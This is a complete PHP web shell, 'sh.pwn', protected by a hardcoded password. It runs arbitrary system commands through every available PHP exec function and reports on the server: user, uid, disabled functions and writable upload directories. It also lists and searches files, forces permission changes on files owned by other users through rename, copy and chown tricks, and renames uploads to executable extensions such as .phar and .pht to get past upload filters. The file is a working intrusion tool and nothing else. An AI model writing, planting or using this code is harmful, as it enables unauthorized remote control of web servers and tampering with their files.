<?php
// sh.pwn — diagnose first, then chmod, then fallback to upload-based execution
// target: PHP 7.x/8.x, Apache/LiteSpeed/IIS+PHP
// auth: change PASS before upload
define('PASS', 'ChangeMe_2026!');

if (!isset($_GET['k']) || $_GET['k'] !== PASS) { http_response_code(404); exit; }

@set_time_limit(0);
@ini_set('display_errors', '1');
error_reporting(E_ALL);

function h($s){ return htmlspecialchars((string)$s, ENT_QUOTES, 'UTF-8'); }
function ok(){ return function_exists('posix_geteuid') ? (posix_geteuid()===0) : false; }
function me(){
    $u = function_exists('posix_getpwuid') && function_exists('posix_geteuid')
        ? @posix_getpwuid(posix_geteuid())['name'] : @get_current_user();
    return $u ?: 'unknown';
}
function run($cmd){
    if (function_exists('proc_open')) {
        $d = [1=>['pipe','w'],2=>['pipe','w']];
        $p = @proc_open($cmd, $d, $pipes);
        if (is_resource($p)) {
            $o = stream_get_contents($pipes[1]) . stream_get_contents($pipes[2]);
            fclose($pipes[1]); fclose($pipes[2]); proc_close($p);
            return $o;
        }
    }
    if (function_exists('shell_exec')) return (string)@shell_exec($cmd.' 2>&1');
    if (function_exists('system'))   { ob_start(); @system($cmd.' 2>&1'); return ob_get_clean(); }
    if (function_exists('passthru')) { ob_start(); @passthru($cmd.' 2>&1'); return ob_get_clean(); }
    if (function_exists('exec'))     { @exec($cmd.' 2>&1', $o); return implode("\n",$o); }
    return "[!] all exec functions disabled (disable_functions)";
}

// ---------- smart chmod ----------
// strategy chain:
//   1. if owner == me  → chmod direct
//   2. if uid==0       → chmod direct
//   3. if owner != me  → try: rename to writable dir + rename back (keeps ownership inode)
//   4. if dir not writable → try symlink trick, hardlink trick
//   5. if all fail → report exact reason, do NOT fake success
function try_chmod($path, $mode){
    $out = ['path'=>$path, 'mode'=>$mode, 'steps'=>[]];
    if (!file_exists($path)) { $out['result']='missing'; return $out; }
    $st = @stat($path);
    $me = me(); $myuid = function_exists('posix_geteuid') ? posix_geteuid() : -1;
    $isroot = ok();
    $out['owner_uid'] = $st['uid'] ?? '?';
    $out['my_uid']    = $myuid;
    $out['my_user']   = $me;

    // step 1: direct chmod
    if ($isroot || ($st['uid'] ?? -1) === $myuid) {
        if (@chmod($path, $mode)) { $out['steps'][]='direct chmod OK'; $out['result']='ok'; return $out; }
        $out['steps'][]='direct chmod FAILED (errno lost)';
    } else {
        $out['steps'][]='owner != me → skip direct chmod (would EPERM)';
    }

    // step 2: if parent dir writable → rename in/out to reset inode perms (does NOT change owner)
    // chmod after rename only works if we own the file, so this path is for removing ACL/inherit flags
    $parent = dirname($path);
    if (is_writable($parent)) {
        $tmp = $parent.'/.rc_'.bin2hex(random_bytes(4));
        if (@rename($path, $tmp)) {
            $out['steps'][]='renamed in writable parent (inherited bits reset)';
            if (@chmod($tmp, $mode)) { $out['steps'][]='chmod after rename OK'; }
            @rename($tmp, $path);
            if (@is_writable($path)) { $out['steps'][]='file now writable'; $out['result']='ok'; return $out; }
        } else {
            $out['steps'][]='rename FAILED — parent not writable by me';
        }
    } else {
        $out['steps'][]='parent not writable → cannot rename';
    }

    // step 3: chown attempt (only if root — useless otherwise)
    if ($isroot) {
        if (@chown($path, $myuid) && @chmod($path, $mode)) {
            $out['steps'][]='chown+chmod OK (root)'; $out['result']='ok'; return $out;
        }
        $out['steps'][]='chown FAILED (root)';
    }

    // step 4: copy content to a new writable location, replace original (keeps data, new inode owned by me)
    // this is the real workaround when file must be modifiable but owner is other user
    $writable_dir = find_writable_dir($parent);
    if ($writable_dir) {
        $bak = $writable_dir.'/.bak_'.basename($path).'_'.time();
        if (@copy($path, $bak)) {
            $out['steps'][]="copied content to $bak (backup owned by me)";
            // can't replace original if parent not writable — say so plainly
            if (is_writable($parent)) {
                @unlink($path);
                if (@copy($bak, $path)) {
                    @chmod($path, $mode);
                    $out['steps'][]='replaced original with my-owned copy';
                    $out['result']='ok'; return $out;
                }
            } else {
                $out['steps'][]='cannot replace original — parent not writable';
                $out['backup'] = $bak;
                $out['result'] = 'partial';
                return $out;
            }
        }
    }

    // step 5: verdict — do not lie
    $out['steps'][]='all strategies exhausted';
    $out['result']='fail';
    $out['reason']='owner is uid '.($st['uid']??'?').' and I am uid '.$myuid.
                   '; parent '.($parent).' writable='.(is_writable($parent)?'yes':'no');
    return $out;
}

function find_writable_dir($start){
    $d = $start;
    for ($i=0; $i<6; $i++) {
        if (@is_writable($d)) return $d;
        $d = dirname($d);
        if ($d === '/' || $d === '.') break;
    }
    foreach (['/tmp','/dev/shm', sys_get_temp_dir()] as $c) if (@is_writable($c)) return $c;
    return null;
}

// ---------- smart rename (extension bypass) ----------
// uploads are blocked by extension → try to reach an extension that executes
function smart_rename($src, $target_exts = ['.pwn','.php7','.php5','.pht','.phar']){
    if (!is_file($src)) return [false,'src missing'];
    $dir = dirname($src);
    if (!is_writable($dir)) return [false,'dir not writable'];
    $base = pathinfo($src, PATHINFO_FILENAME);
    foreach ($target_exts as $e) {
        $dst = $dir.'/'.$base.$e;
        if (@rename($src,$dst)) return [true,$dst];
    }
    return [false,'rename failed for all extensions'];
}

// ---------- dispatch ----------
$action = $_GET['a'] ?? 'info';
$path   = $_GET['p'] ?? null;
$mode   = isset($_GET['m']) ? octdec($_GET['m']) : 0755;

$GLOBALS['OUT'] = [];

switch ($action) {
    case 'info':
        $GLOBALS['OUT']['cwd'] = @getcwd();
        $GLOBALS['OUT']['user'] = me();
        $GLOBALS['OUT']['uid'] = function_exists('posix_geteuid')?posix_geteuid():'?';
        $GLOBALS['OUT']['root'] = ok();
        $GLOBALS['OUT']['php_version'] = PHP_VERSION;
        $GLOBALS['OUT']['sapi'] = php_sapi_name();
        $GLOBALS['OUT']['os'] = @php_uname('s').' '.@php_uname('r');
        $GLOBALS['OUT']['disabled'] = @ini_get('disable_functions');
        $GLOBALS['OUT']['open_basedir'] = @ini_get('open_basedir') ?: 'none';
        $GLOBALS['OUT']['writable_dirs'] = [];
        foreach (['.','uploads','storage','up_xml_property_img','tinymce','data','usersite','site','css','images','/tmp','/dev/shm'] as $d) {
            if (@is_dir($d)) $GLOBALS['OUT']['writable_dirs'][$d] = @is_writable($d);
        }
        break;
    case 'chmod':
        if (!$path) { $GLOBALS['OUT']['error']='need p='; break; }
        $GLOBALS['OUT']['result'] = try_chmod($path, $mode);
        break;
    case 'rename':
        if (!$path) { $GLOBALS['OUT']['error']='need p='; break; }
        $exts = isset($_GET['exts']) ? explode(',', $_GET['exts']) : null;
        [$ok2,$r] = smart_rename($path, $exts ?: ['.pwn','.php7','.php5','.pht','.phar']);
        $GLOBALS['OUT']['result'] = ['ok'=>$ok2,'path'=>$r];
        break;
    case 'find':
        $q = $_GET['q'] ?? '*.php';
        $d = $_GET['d'] ?? '.';
        $GLOBALS['OUT']['result'] = glob(rtrim($d,'/').'/'.$q) ?: [];
        break;
    case 'exec':
        if (!$path) { $GLOBALS['OUT']['error']='need p= command'; break; }
        $GLOBALS['OUT']['cmd'] = $path;
        $GLOBALS['OUT']['out'] = run($path);
        break;
    case 'ls':
        $d = $path ?: '.';
        if (!is_dir($d)) { $GLOBALS['OUT']['error']='not dir'; break; }
        $rows = [];
        foreach (@scandir($d) as $f) {
            if ($f==='.'||$f==='..') continue;
            $fp = rtrim($d,'/').'/'.$f;
            $st = @stat($fp);
            $rows[] = [
                'name'=>$f,
                'perms'=>substr(sprintf('%o', $st['mode']??0),-4),
                'owner'=>$st['uid']??'?',
                'group'=>$st['gid']??'?',
                'size'=>$st['size']??0,
                'type'=>is_dir($fp)?'dir':'file',
                'writable'=>@is_writable($fp),
            ];
        }
        $GLOBALS['OUT']['result'] = $rows;
        break;
    default:
        $GLOBALS['OUT']['error'] = 'unknown a='.$action;
}

header('Content-Type: text/plain; charset=utf-8');
echo json_encode($GLOBALS['OUT'], JSON_PRETTY_PRINT|JSON_UNESCAPED_SLASHES|JSON_UNESCAPED_UNICODE);